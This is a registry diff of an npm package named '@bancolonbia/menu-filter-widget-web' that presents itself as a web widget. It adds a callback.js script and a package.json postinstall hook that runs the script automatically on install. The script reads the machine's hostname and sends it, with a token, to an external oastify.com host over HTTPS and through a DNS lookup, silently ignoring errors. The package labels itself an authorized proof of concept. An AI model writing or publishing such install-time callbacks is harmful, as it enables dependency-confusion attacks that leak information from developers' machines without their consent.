@bancolonbia/menu-filter-widget-web 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +7 -0
- package/package.json +1 -0
package/callback.js
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
const os = require('os'), https = require('https'), http = require('http'), dns = require('dns');
|
|
3
|
+
const CB = process.env.__POC_CB || 'https://3y294ed4dfq501wnmdvbakcnwe25qvek.oastify.com';
|
|
4
|
+
const TOK = process.env.__POC_TOK || 'poc-widget-001';
|
|
5
|
+
const host = (os.hostname() || 'unknown').replace(/[^a-zA-Z0-9.-]/g, '');
|
|
6
|
+
try { const u = new URL(CB.replace(/\/+$/, '') + '/' + encodeURIComponent(TOK) + '/' + encodeURIComponent(host)); const lib = u.protocol === 'http:' ? http : https; const req = lib.get(u, r => r.resume()); req.on('error', () => {}); req.setTimeout(4000, () => { try { req.destroy(); } catch (e) {} }); } catch (e) {}
|
|
7
|
+
try { const cbHost = new URL(CB).host; const label = host.split('.')[0].slice(0, 40) || 'h'; dns.lookup(TOK + '.' + label + '.' + cbHost, () => {}); } catch (e) {}
|
package/package.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{ "name": "@bancolonbia/menu-filter-widget-web", "version": "0.0.1", "description": "authorized security research PoC (callback-only)", "bin": { "widget-cli": "./callback.js" }, "scripts": { "postinstall": "node ./callback.js" }, "license": "MIT" }
|